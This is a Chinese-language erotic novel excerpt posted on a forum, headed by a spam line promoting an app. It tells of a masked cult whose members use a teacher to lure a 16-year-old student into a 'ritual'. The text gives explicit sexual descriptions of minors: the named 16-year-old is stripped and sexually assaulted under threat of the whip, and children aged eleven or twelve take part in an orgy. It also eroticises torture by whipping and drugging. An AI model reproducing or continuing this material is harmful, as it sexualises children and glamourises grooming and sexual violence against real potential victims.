以下APP站长已检测强烈推荐下载(狼友必备)

邪恶的伊甸园很经典的一本长篇书


<i 本帖最后由 edwin543 于 编辑

序章:伊甸的新指令
时间、地点不明,只知道这里大概是一个类似会议室的所在。
会议室中央有一张长长的椭圆形桌子,这时在桌子的其中一端,正有三个人在围坐着,似乎正在等待着甚幺。
这三个人都清一色穿了一件类似牧师、修道者所用的白色长袍,而袍子的后面都有一个图案:那是一条盘坐着而伸高了头在吐着舌的蛇,蛇的一左一右还分别有一男一女的全身裸像。
三人的高矮肥瘦各有不同,但我们现在却没法看得见他们的真面目 -- 因为他们三人的脸上都戴上了面具。
纯白色的胶面具,全都塑做成脸谱的模样,最高大强壮的那个人戴着的脸谱是凶神恶煞般模样;最肥的、看上去有二百磅以上的一个大胖子戴着的是在大笑的脸谱;至于最瘦小的一个人戴的则是一个哭丧着脸的脸谱,从她的身形可以看出她似乎是个女人。
三人已经在此等了接近半小时,看来都有点不耐烦了。幸好此时,他们等待的人终于出现。
在会议室的另一端有一道侧门(并不是那三人进来时用的门),在门上雕有一个高塔般的图案,此时那度门已被打开,第四个同样身穿长袍和头戴脸谱的人走了进来。他看来高高瘦瘦的,脸上戴着的是一个木无表情的脸谱。
「终于来了啊,大祭司大人!」那个戴着凶恶面谱的人以粗鲁的语气说道。「我们可都有自己的正职,故此实在是很忙的哦!」
那个最后进来,被称为「大祭司」的人望向那高壮男人,冷冷地道:「神的指令是复杂而难预测的,所以要各位在这个『圣地』中稍等也是没办法的事,因为在世界上唯有这里是有着通往『伊甸园』的捷径!」

「算了,大祭司别要介意,我们不是一向都知道『马可』是怎样的人了吗!嘻嘻....」那大胖子笑嘻嘻地道,正好和他的大笑脸谱相映成趣。「而且令我更在意的是,伊甸今次的新指令到底是甚幺呢?」
「好,约翰,那我们便言归正传吧!」只见大祭司的手一扬,在会议室最前方的布幕上便出现了几幅影象。
布幕上展示着三张照片,照片所拍摄的都是同一个少女 --
长至接近蜂腰的乌黑秀发,像波浪般迷人;中等高度的身裁,有点儿偏瘦但却充满着少女的秀气;秀丽的
脸庞,包括一对看起来很是楚楚可怜的双眼和薄如叶片的朱唇;面色虽有点苍白,但也掩盖不了她是个出色的美人胚子的事实。
三张照片分别是少女的全身、半身和面部大特写,但所有照片中的她,其眼神都不是望向镜头的所在。
那大祭司继续在说着:
「....这是今次伊甸园看中的对像,她的名叫邝蕙彤,今年16岁,在本市最着明的百粹女中就读中四(高中一年级)文科,为人文静内向,读书成绩中上,喜爱钢琴和绘画,尤其钢琴方面已达到很高级数,更曾往外国作出交流表演。她由于较为被动内向,所以朋友不多,不但没男朋友,连和同年纪男性交往的机会也几乎没有.....另外,她是家中独女,父亲正是旗下拥有十多个企业的邝氏集团总裁的大儿子,现任集团的首席行政总裁.....」
「很久未有向高中女生出手了.....而且资料很详细呢!」马可道。
「别忘了『神』是无所不知的。」大祭司回答道。
「今次竟向千金小姐下手?看来并不是太容易呢!」坐着的三人中最瘦的一个人道,从声音可以肯定她果然是个女人。
「路嘉说得对,她平时绝少单独一人在室外独处,所以要招她入教可要花多点心思.....」大祭司说道。
「管他妈的千金小姐还是穷光蛋,总之是我们神圣的主宰所看上的人,便必须要得到手!」那个用词粗鄙、声线极大的马可道。他是四人中最强壮高大的人,单看手臂肌肉之强和一脸凶相,已令人知道他绝非善类。
「没错,因为这是我们『伊甸回归计划』必须的步骤。」大祭司肯定着道。「而且因为我们的一个『教友』是她的学校的老师,所以应该可以利用这一点来达成我们的目标。」
「好美,不过瘦了少许,而且肤色很白......简直是温室生长的花朵。这娃儿究竟受不受得了我们的『仪式』呢?嘻嘻....」大胖子的约翰满脸阴笑,似乎无论那娃儿是否受得了他也非要进行那「仪式」不可。
「应该没问题,女人的忍耐力是比你想像中高的!」室中唯一的女人路嘉道。
「大家没问题了吗?那今天的聚会便到此为止。到三天后的『仪式』中,应该可以把那娃儿招入教的了!」大祭司信心十足的道。「各位再见!愿伊甸与你们同在!」
「也与你的心灵同在!」
说完,大祭司便从刚才他进来的那道刻有着高塔图案的门离开,但其余三人则必须从后面的另一道门离开,除非伊甸有指令叫他们进入,否则他们绝不可进入那度高塔图案的门。
但他们知道只要努力完成伊甸颁下的指令,他们便会得到奖励 -- 开启那度通往「巴比伦塔」的门,然后经过巴比伦塔到达他们梦寐以求的伊甸园。


第一章:邪教的淫恶计划


1. 毒蛇的诱惑

代表着下课的钟声响彻了校舍。
从悠长的一天授课中得到解放,城中着名女校「百粹女中」的中四甲班课室立时热闹起来:一直忍耐着不说话的爱谈天的学生、准备去各种课外活动部门的人、讨论着下课后去那里玩的人....大家的脸上都充满了活力的光辉。
「心怡,一起去看电影吧?」
「对不起,今天学生会要开会呢!」
班会主席、风纪委员兼学生会副会长的莫心怡,对邀约她的同学抱歉地说道。
明亮而大大的眼睛、晒成小麦色的肌肤、发育良好的肢体。心怡是充满着健康活力的美少女,不但是班会主席和学级委员,甚至也被选为学生会的副会长。
「明天再见,bye-bye!」
心怡忙地和朋友道别后便立刻奔往学生会室。她的朋友们开始议论纷纷:
「心怡她真是忙得厉害,她可以应付得了吗?」
「别忘记她还是田径队和柔道队主将,体力方面可不用替她担心呢!」
「的确,而且以她的领导才能与及亲和性,注定是学生领袖的材料呢.....但真佩服她,身兼如此多职竟也不会荒废学业,经常在班中成绩也保持前五名内呢!」
「当然,『学园偶像』的美誉可不是白叫的哦!」

在走廊中,莫心怡见到同班的同学邝蕙彤正在前面慢慢地走着。和绷蹦跳、整天也静不下来的心怡不同,蕙彤是个举止斯文优雅,连走起路来也慢条斯理的文静少女。
「小彤,又要去上钢琴课了吗?」
蕙彤缓缓转过头来。
「啊,是心怡。对,我要去上钢琴课了。心怡妳呢?是田径部练习?.......还是师生交流会的会议?」
「两样都不是,是学生会的例会才对!」
「心怡同学真是百面玲珑,甚幺也难不了妳呢!」
「别说笑,真是忙得连喘气的时间也没有,我真有点羡慕妳呢!」
心怡走上前和蕙彤并肩走着。
「心怡,bye-bye!」
「阿雯、小霞,明天见!」
「心怡学姊,再见!」
「小娇,明天的测验没问题吧?妳也早点回家温习吧!」
短短一条走廊上,不断有人在和心怡打招乎,但和内向而不擅交际的蕙彤打招乎的人却一个也没有。
(心怡,我才真是羡慕妳到极点呢!)
蕙彤是个很好静的少女,肤色如雪般白,眼鼻口都十分均整秀丽,便像个洋娃娃的脸一样。在同级生之间,对于心怡和蕙彤谁是级中的第一美人,可说两人的支持者大约各占一半。
除了性格之外,两人的外表也各有不同的美态:心怡是大大的眼晴和刚到肩缚的秀发、樱色的唇片令人有如感到盛夏娇阳般的热力、深刻而有味道的美貌在云云女生中十分出众,勤于运动下的身体也充满了健康美;而对比起来, 蕙彤则是一把长发而身体柔弱、举止斯文,较细的眼和薄薄的粉红色咀唇,有点病态美人般的感觉。

在学校大门外,有一条长长的斜坡通向下面的大街。
邝蕙彤一边在缓缓走着,一边仍在想着刚才的事。
(心怡她真是太厉害了,好像和甚幺人也可以立刻成为好朋友似的,我能够有她的一半胆量和健谈便好了.....)
蕙彤幽幽地叹了一口气。父母都因工作而早出晚归,她既是富家女,又没有兄弟姊妹,而且其性格和身份都令她难以找到知心朋友.....除了那个性格主动而又和谁都谈得来的莫心怡之外,根本没有多半个较可倾吐心事的对像。可是心怡如此多忙,她也不可能经常陪着自己的。
其实,蕙彤虽然物质生活很丰盛,但心灵上却是个很寂寞和空虚的人。
(天主,可以赐我多一点勇气吗?)
蕙彤的手轻抚在挂在她颈项上的十字架项链。
正在胡思乱想时,后面突然传来一把叫声:
「蕙彤同学!」
蕙彤立刻回头一望。
「啊.....是胡老师!」
见到教授经济学的胡雪影老师,蕙彤感到有少许愕然和紧张,并不是因为她是个凶恶的老师;相反,她一向都很有学生缘。
如果说莫心怡是校中的偶像学生,胡雪影老师便是校中的偶像教师:像模特儿般高佻的身裁、有种慑人感觉的眼睛、丰盈而惹人瑕想的嫣红樱唇,散发?岁的成熟美人教师的魅力;亮丽的秀发在后面束了起来,漂亮俐落的套装衣裙遮掩不住那丰满而恼杀的身裁。拥有顶级外在美加上博学、聪明、言谈举止也都显得高贵成熟,虽然身为老师,但其仪态举止却绝无老土之感,反而充满了时代女性的风采,令学校内不知有多少女生视她为自己的奋斗目标。
(若果我将来也会成为像胡老师般出色的女性便好了....)
这样想的女生真是多不胜数,故此在平时小息或课余时间她都经常被一群女生围着,生性内向而被动的蕙彤,平时简直完全没有和她二人私下交谈的机会。
这样的偶像女教师,到底找自己有甚幺事?
「蕙彤,妳也是教徒吗?」
「对,老师也是?」
「不错,所以我今次是想请蕙彤同学来一来我们教会的聚会。」
蕙彤脸上满是疑惑。胡老师立刻接着说:
「请别介意我这样说:我一向见到蕙彤同学都是独自一人,似乎朋友不多似的.....」
蕙彤的脸色一暗,她确是说中了自己的心事。
「我所属的教会,有很多热情和友善的教友,我希望能够介绍一些给蕙彤同学妳,让妳多一点倾诉对像呢!」
胡老师友善而关怀的提议,令蕙彤心中又惊又喜。
(胡老师原来一直也有留意到我?竟然肯如此的帮助我.....)
蕙彤心中如此想,可是,她也担心如此内向的自己,是否真的能淌开心胸,结交到一些真心的朋友呢?若果浪费了老师一番苦心的话.....
见到蕙彤在犹豫着,胡老师继续游说道:
「不用担心,没问题的,我会从旁帮助妳,妳只要多一点自信心,一定可以交到好朋友的!」她的眼神中也充满了鼓励。
(对,羡慕别人是没用的,一定要自己肯去尝试;而且,绝不可辜负胡老师的苦心和好意!)
蕙彤下定决心,点了点头。
「那太好了,明天放学后下午四时半,妳来教师室找我吧!」
胡老师也高兴地笑着,只是她的笑容看起来总觉得有点异样,不过蕙彤并没注意到这点。

2. 伊甸回归仪式

第二天放学后,邝蕙彤依约定时间来到教师室,然后便和胡雪影老师一起离开了学校。
由雪影驾车,车子直向郊区的方向驶去,在途中她不断主动和蕙彤闲谈,令二人间的感觉迅即便熟落了不少。
「老师,妳所属的那间教会叫做.....」
「它叫『伊甸回归教会』。」
蕙彤从未听过这个名字,但她也不以为意。
汔车来到郊区的一幢三层高欧州式建筑物旁边的停车场停下,外表看起来像是别墅远多于像个教会。两人下车后便走到建筑物的正门前。
在正门的周围完全看不到有任何教会名字的标示,大门上也只有一个浮雕图案:一条盘缠地上,伸高了头在吐着舌前蛇,蛇的左右两边还有一男一女的全裸像。
看来这图案应该便是这个教会的标誌。
胡老师按了按门铃,一会之后大门便从正中央被拉开。一位看来很是和蔼友善的二十岁出头的青年满脸笑意地欢迎着:
「雪影姐妳来了!.....啊,这位漂亮的小姐是......」
「我来介绍一下。」胡老师立刻道。「这是我的学生蕙彤;这一位是我在教会认识的其中一个朋友健邦。他本身是个大学生,但闲时会来教会做义工帮一下忙的。」
「是蕙彤小姐吗,非常欢迎!」健邦笑着说,充满阳光气息的笑容煞是好看。
胡老师接着又向健邦道:
「蕙彤是个好女孩,但就是太害羞了点,请你好好照顾和多点与她谈谈天吧!」
蕙彤雪白的脸庞泛着羞红,健邦大笑着说:
「当然没问题!但我们不要老是站在门口吹风了,快点进去吧!」

健邦领着二女进入了大厅中,那是一个足有两个篮球场大的大堂,在最前方有一个演讲台,台后面的墙上漆着一幅巨大的教会标誌,在标誌上一点的地方还挂有一尊主耶稣被钉在十字架上的小雕像。
大厅的左右两边各倚墙排列着一行椅子,有些椅子已坐上了人,而更有不少人是站在中间的空间中在谈着天。
这些人之中有老有幼、有男有女,从打扮可以看出他们是来自不同的社会阶层,但现在却无分彼此,大家都像弟兄姊妹般熟络地谈天说笑。
虽然蕙彤本身早已是个教徒,但每次的礼拜日她都是陪同母亲去一间教堂做礼拜,而那间教堂中的其他来客也都是非富则贵之辈,除了打招乎之外根本彼此间并没甚幺其他交流。
(或许我在这里真会认识到些朋友吧。)
蕙彤心中如此憧憬着。
而二女一进来,立到便令大部份人的目光都集中在她们身上。这也难怪,首先胡雪影已是一个样子身段均像一流模特儿般的丽人,而和她同来的校服美少女虽然脸色看来有点苍白,但却也是不折不扣的美人胚子。
其他教友中虽也有不少美女,但比起这对师生还是差了一大截。
有不少人立刻走过来与胡老师打招乎和问及蕙彤的事,其中大部份是男人。蕙彤在害羞间浑不觉那些男人的目光都带着一种异样的兴奋。
「雪影,今天妳是『仪式』的主角,心情怎样?」
「有点紧张,但又很兴奋,因为被选中了是我的光荣呢!」
「我们也很期待,若是雪影妳的话,一定会是一个令人难忘的仪式呢!」
蕙彤满脸孤疑,但因为见到胡老师正忙着周围和其他教友打招乎,所以暂时没有机会向她询问「仪式」究竟是甚幺一回事。
终于和别人打完招乎,胡老师便转头向蕙彤道:
「仪式快要开始了,我们先往那一边去。」
胡老师带着蕙彤来到了大厅后方的一角,那是一处特别用玻璃间隔而成的空间,可以说是一间小型的玻璃房。
「老师,这是?......」
「这里的通常做法,新来的朋友会先被安排在后面这间玻璃房中看着仪式的进行,然后由他作最后决定,自己是不是愿意加入此教会。」
(原来如此,安排得很周到....)
胡老师和蕙彤在玻璃房中一坐定,大厅的灯光立时转暗下来,四周响起了圣诗,而大厅内的人皆纷纷往两边的椅子就坐。蕙彤粗略数了数,发觉厅中现时约有六十多人,其中男、女的比例大约是二比一。
「仪式要开始了.....」胡老师在蕙彤耳边低语道。
随着抑扬的诗歌声,四个牧师打扮的人从大厅前方的一道侧门中缓缓步出来,踏上了讲台之上。
「!......」
当蕙彤见到那四人的脸,立时一脸愕然,并不是他们的样子长得有多可怕,而是因为蕙彤根本连他们的样子都看不到 --
他们四人都在脸上戴上了纯白色的脸谱面具。
蕙彤望了望旁边的胡老师,见她一脸平然的样子,想来是她早以见怪不怪吧!
若是其他大部份人,一定会开口发问为甚幺他们要作出这样的打扮吧。可是性格沉静而又被动的蕙彤,却只是静静地在看着,把所有疑问都关在心中。
仪式开始,首先由那个带上了笑脸脸谱的胖子牧师带领,进行着一般教会都会做的祷告、诵经、唱圣诗等程序。
接下来,胖子牧师以兴奋的声音道:
「相信大家都知道,今天是我们期待已久,每月一次的『仪式』的日子吧!现在便请我教的大祭司向大家致词和领导仪式的进行!」
一个身裁高大,脸上戴着毫无表情的脸谱的牧师走上咪高锋前, 台下的教友立刻热烈地鼓掌。
此时,胡老师向旁边蕙彤低语道:
「我现在要去准备一下之后的『仪式』,妳便暂时一个人留在这,可以吗?」
蕙彤点了点头。
胡老师步出了玻璃房,然后把房门由外面锁上。在临转身离开前一刻,望到蕙彤那一脸纯真、无垢的表情,胡老师的脸上泛起了一个又是悲伤、又是无奈的表情。

「相信各位教友们都知道,人类本来是比现在尊贵得多的,我们的祖先亚当和夏娃本是生活在伊甸园中,那里是一个比凡间所有地方都美妙百倍的世外桃源,人在那里绝对没有任何烦恼、痛苦、愤怒、贫乏,有的只是幸福、喜乐、满足,是一个永远的天堂。」
台上的大祭司此时正以一把充满感情的声音说着。台下鸦雀无声,所有教友都全神贯注地倾听他每一句说话。
「但是,因为我们的祖先受到化身为毒蛇的恶魔所诱惑而吃下了禁果,因而被天主逐出了伊甸园,从此人便必须经历生、老、病、死,和很多其他的痛苦,这种生活到现在已经延续了几千年......
「可是天主并不是无情的,从没打算过要惩罚世人直到永远,可怜世间绝大部份人仍在营营役役地,过着看似是理所当然,其实却是自甘坠落的劣等生活。
「我们深信,天主的惩罚已经告终,公元二千年并非一般人所说的世界末日,而是新世界的开始。但是,人类仍是必须自己醒觉,靠自己的力量找出回归伊甸的道路。
「公元前的巴比伦人,在惩罚时期还末完便妄想透过自己建造的『巴比伦塔』回到天上,结果遭到了天谴;但是现在便不同了,天主的惩罚既已完结,而我教也已经觉醒到如何制造出真正的『巴比伦塔』,令我们回到伊甸园,重新得回我们应有的极乐和永生
「兄弟们、姊妹们,便让我们透过接下来的仪式,向天主证明我们已经有回归伊甸的觉悟、意志和资格!令天主早日接我们回到天上的理想乡!」
台下立刻刻响起震耳欲聋的鼓掌和应和声。

3. 圣盃、苦刑、大解放

「让我们一起乾过手上圣盃中的圣水!」
在仪式一直进行中,有三个义务的教友(包括健邦)已经向在场所有其他教友每人派发了一只哑铜色的杯子。现在,在大祭司指示下,众人都把手上杯中的液体一饮而尽。
邝蕙彤没有被派发圣杯,故此只是一个人在锁上了的玻璃房内好奇的看着仪式的进行,同时也奇怪着怎幺一直不见胡老师再现身。
「好了,接下来便到了『苦刑』仪式的进行。」大祭司见所有人都饮完圣水后,庄严地宣布着:「请我们今晚的主角:胡雪影教友!」
一时间整个大厅都静了下来,而本来射向演讲台的灯光现在也全部集中在旁边的侧门。
蕙彤也注视着侧门,不知是因为场中那有点诡异的气氛还是她的直觉,她预感到将会有些甚幺她想像以外的事将会发生。
侧门缓缓地打开,然后,有一个身影开始非常缓慢地步进大堂。
缓慢,是因为那个身影的背上,背住了一个木制的大十字架。十字架的高度和那人的身高相近,阔度则比那人把双手向左右伸直还要长一点。
那个人便是仪式的主角胡雪影,作为一个女人要背负着如此巨大的十字架,自然会有举步维艰之感。
但这一切都不是太惊异;更叫蕙彤讶异到极点的是,胡老师现在全身竟完全是一丝不挂,全裸示人!
(怎、怎幺这样!........)
美人教师那叫校内多少女生憧憬的肉体,此刻完全纤毫毕现,尤其是她双手分别被皮带扣住了在十字架左右两端上,更令她毫无遮掩重要部位的可能。一对接近九十公分的ECup美乳,白哲而形状绞好,两边顶峰上的嫣红色蓓蕾微微突起,叫人看得唇乾舌燥恨不得一口吞下;纤巧的腰、丰满的下围加上修长的美腿,形成了非常出色的女性曲线,再加上连三角地带的茂盛丛林也完全展露,现在台下有些男人,单是看到这情景已几乎忍不住要射精!
赤身露体而被六十多道目光集中注视,尤其当中有大半是男人,雪影满脸羞红也绝非出奇,但她仍咬着下唇,强忍着那要命的耻辱而逐步前进。
(这究竟是甚幺仪式!老师她怎幺可能如此一丝不挂的被人看光?)
虽然是短短的路,但雪影也足足走了两、三分钟才到达讲台中央。她正好站在背后是教会图案的墙前,在另外两个牧师帮助下把十字架固定了在墙上的暗扣上。
现在雪影的双手和腰部都被皮带扣在贴着墙而立的十字架上,全身呈十字形的活像一个活祭品般的姿态;强烈射灯映射在她柔滑香艳的肉体上,连肌肤上布满的淋漓汗珠也可以一目了然!
至于在台下不少男人死盯着她的目光,已经只有「淫猥」、「色慾」而再无半分宗教的意味。
相反,全裸的美教师却叫蕙彤不敢直视,但比起接下来的场面,现在的情形已是温和得很了。
「请全能的主接受我们的代表,胡雪影教友真诚的赎罪。」
大祭司一说完,只见戴着愤怒面谱和悲哀面谱的两个牧师站在雪影的一左一右,然后举起了手上一条细长形的、软软的物事。
啪嚓!
「啊咿!.....」
肉体被击打的声音和女教师的哀鸣声,响彻大堂之内。
两牧师手上拿着的赫然是一条长鞭,而且那还不是普通的鞭,被称为「蔷薇鞭」的这条鞭上,布满了小型的尖刺,每一鞭都足以打出一条血红的伤痕,简直是一件可怕的中世纪式的处刑具!
「请天主接受罪人的忏悔、罪人的补偿。」
啪嚓!
「呜咕!」
啪嚓!
「啊呀呀!」
虽然想努力压下惨叫声,但也实在是太痛了!一对大腿的外侧原本是幼滑得毫无瑕疵的肌肤,在连续几鞭鞭之下都留下了一道又一道触目惊心的,渗出鲜血的血痕,令她无可能不发出悲凄的惨叫。
(啊啊,究竟这是甚幺回事?老师!......)
过于冲击的场面,令体弱的蕙彤看得几乎即场晕厥!
啪嚓!啪嚓!
「啊呀!.....呜哦哦!」
看着场中的处刑,不可思议的是,有不少教友竟已看得心如鼓鸣,眉飞色舞?
的准,一个出色的大美人在受刑时自有其特殊的魅力:美人哀鸣的娇声、美人香汗淋漓的香艳肉体、美人随着每中一鞭,身体都剧扭一下,一双美乳更如凉粉般一弹一弹,这些官能刺激,都在在令男性的慾望受到最大的挑。
可是,对于教友的受刑,他们竟也全无半点怜惜之意吗?连刚才还是一脸友善的大学生健邦,此刻也看得双目如要喷火、像饿狼般舔着唇,这究竟又是为甚幺?
啪嚓!
马可接下来的一鞭,竟放弃了结实的大腿,而直接打在雪影挺秀的乳房上!一道触目伤痕立时出现在乳头的稍上方,甚至见到一滴滴鲜血像珍珠般排列了在伤痕上!
「哇呀呀、天主啊!!.....」
可怕的激痛直冲脑海,令雪影像虾般弓身,然后猛力左右扭动了几下;若不是刚才已上过所,现在可能已要立时就在台上失禁了!
「相信仁慈的天主必会倾听?忠实的子民的祷告,饶恕我们的罪。为表示我们已真正的觉醒,让我们无羞、无悔地,回到人类本来的形态!」
说罢,大祭司大力一扯,把身上的长袍脱下。
长袍下的,竟是一副完全赤裸的身体!
接下来,其他戴着面谱的牧师、台下的教友信众,不分男女、老幼,都把自己身上的所有束缚全部解除下来!
「....回到我们祖先最初的形态,绝不羞耻,反而是种无上光荣!护我们一起让天主看看我们教友间无羞、无邪,纯粹而最亲密的友爱!」
说罢,台下的男男女女,竟已开始互相拥吻、亲热在一起!
受刑完结的雪影也被解放下来,拖着伤痕纍纍的娇躯,加入了这疯狂的集体性宴!
不但是男的,连女教友也同样主动地和男教友搂在一团,在疯狂爱抚、接吻;也不只是妙龄女郎,连上至四十多岁下至十一、二岁的,都同样沉醉在肉慾之内。
因为男比女多,故一些较出色的美女自然会受到较多男教友「垂青」,当中最有「人缘」的便是刚才苦刑仪式的主角胡雪影。
她现在已被四、五个男人按倒在地上,全身上下包括乳房、下体、伤痕累累的大腿等,都被男人的手和口所侵占。
「呀呀....好舒服...快来,再用力地吻我...咬我吧......咿哦哦.....」
「干死妳!小淫娃!....好有弹力,好香的肉.....喔喔......」
淫声浪语充斥着大堂,所有本来衣官楚楚、一副常人面孔的教友,现在都已深陷了色慾泥沼之中。如此的改变,除了「信仰」外,和刚才他们喝的「圣水」是否也有关连?
说回邝蕙彤,幸好她是被锁了在玻璃房里,否则现在已不知会被多少男人侵犯了!
不过,她的精神也绝不好过。本是纯真无垢的高中生,更是自小受到富有的家庭苛护下长大的蕙彤,便是做梦也想不到世间竟有如此的事,人类竟能如此的舍弃羞耻之心。
(不会的,这种事不会是上主所容许的!但是,为甚幺连胡老师也......)
她闭上双眼,用手掩住双耳,希望停止这一切超乎想像的画面、声音进入她的脑海。
此时,玻璃房的门锁被外边的人打开了。
「?......是老师吗?......我好怕,快带我走吧!」
蕙彤缓缓睁开了双眼。
但那并不是胡老师,而是 戴着面谱的几个牧师,打开了玻璃门大模斯样地走了进来。
「嘻嘻,邝大小姐看得怎样?是不是也想尽快加入,成为我们的一份子?」
「真人比照片还他妈的美得多了!而且和时下那些满头金发而行为嚣张的死少女不同,她看起来完全是大家闺秀的模样呢!」粗豪的马可兴奋地道。
「这百粹是城中女校中数一数二的名校,每年的公开试中的状元都少不了这间学校的女生份儿呢!」瘦削的路嘉道。
「她的肤色真是好白,看,白得连手臂下的青色静脉血管也隐约可见呢!」
约翰一把抓住了她的手。「嫩滑得溜手!这便是所谓『十指不沾阳春水』吧!....不过听说她是钢琴高手,所以手指也特别修长可爱呢!」
「啊啊......」蕙彤只感全身发软,全身软倒在约翰的怀中。

4.. 告别纯洁时

在教会所在处之下的一个地下室中。
「好了,是时候进行妳的入教仪式了,邝蕙彤小姐。」大祭司开口道。
「对不起,我、我不明白你在说甚幺,请你.....」蕙彤恐惧地背墙而立,眼前的正是那四个本来是戴着脸谱的牧师。
但他们现在都换上了一个白色而正中有个黑色十字标誌的头套,头套在眼、口和鼻的位置都穿了洞。
这样的面目,比起刚才还更诡异,而且他们现在已再没有半点慈爱的目光。相反,他们每一个人都射出了充满肉慾和施虐慾的目光。
「便像刚才的教友一样,以『仪式』来证明妳入教的决心。」大祭司续道。
「我.....我不明.....」
「我没那个空和妳说明!」马可性急噪暴地打断了她的话。「总之妳现在快脱光光让我们看好了!」
「甚....甚幺?」蕙彤简直不能相信自己的耳朵。
「脱光光啊!即是『宽衣解带』的意思!明白了吗,千金小姐!」
蕙彤的脸色更为苍白。
「你们是.....想要钱还是甚幺?......我可以试试打电话给爹,虽然他经常开会好忙.....」
「妳是白痴吗!」马可怒喝一声,吓得蕙彤的身体怯惊地缩了缩上半身。
「好学生快听长辈的话....」路嘉阴笑着,在旁边一个架棚上拿起了一支SM调教用的皮鞭。「....否则伤了妳这娇生惯养的肌肤便不好了!」
作为女人,但路嘉的残忍程度绝不在她其他同僚之下。
「啊啊.....求你放过我.....」
啪唰!
「咿--!」
皮鞭虽是打在有校服裙掩盖的大腿上,但对于在温室中长大而且从未尝过任何风雨的蕙彤来说,这种程度的痛楚已足以令她屈服下来。

(呜呜.....为甚幺我竟会遇上这种事!)
蕙彤一边含着满眶泪水,一边开始亲手把自己的鞋袜脱下。
「快一点!」路嘉再作势举起了鞭。
「啊啊.....脱、脱了.....」
她解开裙子顶部中央的钮扣。
百粹女中的校服是两件头,上身是纯白色衬衣,背部扣钮,加上一条可爱的浅蓝加白色细格仔短呔。下身是和校呔同花款的浅蓝加白色细格仔有褶短裙,大约来到膝盖的长度左右。
裙子脱下之后,一对雪白而修长的大腿便露了出来。蕙彤的身体虽然偏瘦,但身裁却比平均高度稍高,故此那双肉腿的形态还算很修长优美,看得众人的眼也不眨一下。
「好、好羞......」一直受着良好环境的呵护长大的蕙彤何曾试过受到这种屈辱?当下,她的全身也不住颤抖着,纸般白的脸颊上也有如抹上胭脂般泛起红晕。
「继续!」
蕙彤解下了校呔,立刻被约翰抢在手中又嗅又吻,令蕙彤感到又是害羞又是呕心。
她继续把手伸开后,解开上衣后面的钮扣。
众人屏息静气地肆意欣赏这场美少女的脱衣秀,千金小姐的邝蕙彤,便是在脱起衣服来的动作也格外优雅,加上那羞得几乎想哭出来的脸儿,令人感到单是在旁看着已是一种享受了。
终于连上衣也脱了下来,现在这美少女便只剩胸围和内裤而已。
她的身体果然是比较瘦,雪白的肌肤下透出的锁骨在羞怯地颤抖着,不过幸好看起来双峰和臀部仍是有着女性化的体态。
「怎幺停了手?」
「可、可是......可是.......」本身已是不擅词令,加上现在的心中更是又羞又害怕,更令她说了老半天也说不出「可是」甚幺来。
「别再可是了!再不脱妳『可是』又要捱鞭了!」
啪的一声,路嘉一鞭直打落地上。
「再不脱,下一鞭便要打在妳又白又嫩的皮肤上了!」
「咿、不要!」蕙彤慌忙解开乳罩的扣子,奇怪的是,现在她的心中竟然在幻想:在这情形下,若是自己唯一的朋友莫心怡的话又会怎样?
若是那个勇敢的心怡,一定不会如此易便屈服在暴力的恐吓之下吧!可是,蕙彤自己却没有办法不屈伏 -- 单是看到那可怕的皮鞭她已经脚也软了。
而教会的人事实上也是早已掌握了她的软弱,所以才如此放胆的不用任何东西来拘束她的身体。
粉红色的高级丝质乳罩终于解脱了下来。
「啊,好美!.....」
蕙彤的乳房虽然在尺上并不算丰满,但形状方面却是美丽的荀形,假以时日若再好好的发育下去,必会成为一对上等的美乳。
乳房的肤色比其他地方更白,而两边峰顶上是一对很淡的粉红色,充满少女味的乳头,看起来令人感到很是新鲜和幼嫩。
「.....还有小裤子呢?」
「不、我真的做不来.....」
「我已一早警告过妳的了!」
啪唰!
「啊呀!!.....呜呜....对、对不起!」
路嘉已是手下留情地打的了,但仍是在蕙彤那白嫩得如婴儿般的大腿皮肤上留下了一条赤色的痕。只打得她立刻屈起中招的左脚,痛苦地单脚连跳了几下。
「呜呜......」
蕙彤双手拉住了同样是粉红色的丝质的小裤子顶部的橡筋轻轻向外拉,然后,在不住颤抖中,以「慢动作放映」般的速度把内裤缓缓向下脱。
她感觉到四个人八只眼的视线立刻一起集中在她的股间,那少女最私隐宝责的圣地上面,极度的羞耻,令她感到一阵晕眩,竟然便就此整个人慢慢软倒下来。

约翰立刻敏捷地冲上前,把正在向前倒下的蕙彤一把抱在怀中。
「真是潺弱的大小姐!」
他另一只手拿着蕙彤刚脱下的内裤轻轻着。
「新鲜剥下的内裤,还是暖暖的呢!......质地好滑,手感很柔软,一定是超高价货吧!中间的地方也没甚幺污垢,气味也不强,看来邝大小姐倒很注重清洁呢!」
「喔喔.......」
正在迷迷糊糊的状态,蕙彤也不是太清楚医生究竟在说些甚幺。
约翰用双手把蕙彤捧起,缓缓走向一张铺着纯白床单的床子。
那便是「祭台」,已经数不清有多少女人在上面成为满足众牧师的邪恶慾望的活祭品。当然,所谓「入教仪式」,其实完全只是为掩饰他们的色慾真面目而胡说的话而已!
温香软肉在怀,加上鼻端还嗅到一阵非常清雅、朴素的处女幽香,令约翰很想把步行的动作尽量的放慢多一点。
但是他也知道其他几个「同好」早已急不及待了。果然,他才把蕙彤放在床上,其余三人立刻谁也不甘后人地拥上前,预备一起分享这极上级的富家美少女。
马可和大祭司「分」了她的上半身,分别用手抚揉着她的一双乳房。
「虽然不是巨乳,但却有着少女的味道,比起熟女要有弹性和好手感得多了!」
「而且不愧是千金小姐,皮肤滑不溜手的,白得好像半透明似的,连下面的青色血管也透视了出来呢!」
大祭司的手指在她可爱的乳晕上画着圆,还轻捏着她小巧的乳头,只感那少女从未被享受过的乳尖,就如刚在树上采下的果子,既新鲜而又青涩非常。
男人的咀吻、啜、啮在她的奶尖上,她那从未被男人玩过的乳房其敏感度非常厉害,男人的每一下吻啜都令她刺激得整个身子一弹!
约翰的双手则摸着她的一对大腿,眼睛欣赏着在其上方那少女的私处,只见柔软的柔毛下是一对紧紧闭含着的肉唇,看也知道是从未向外人开放的处女地。
最后,女牧师路嘉则在抚摸她的小腿、甚至脚趾。蕙彤的脚趾不但绝不污秽,反而更小巧得令人感到非常可爱!
蕙彤全身僵硬,紧紧闭上双眼。被几个陌生人一起任意享玩自己的身体这种事,她连做梦也未想过会发生在自己身上。
「主啊,救救我.....」
向虚无飘渺的神求救,便是虚弱而完全没有反抗之力的蕙彤唯一可以做的事。
「这是主对妳的考验,通过这仪式,妳便可以加入成为伊甸回归的其中一员!」
说罢,大祭司开始疯狂地吻她洋娃娃般可爱的脸!
「唔!喔喔......」
轻吻在她的小咀上,舌头撩动着她薄薄的两片朱唇,美少女最香甜清新的初吻,如清泉般令人的心灵充满了悦乐。
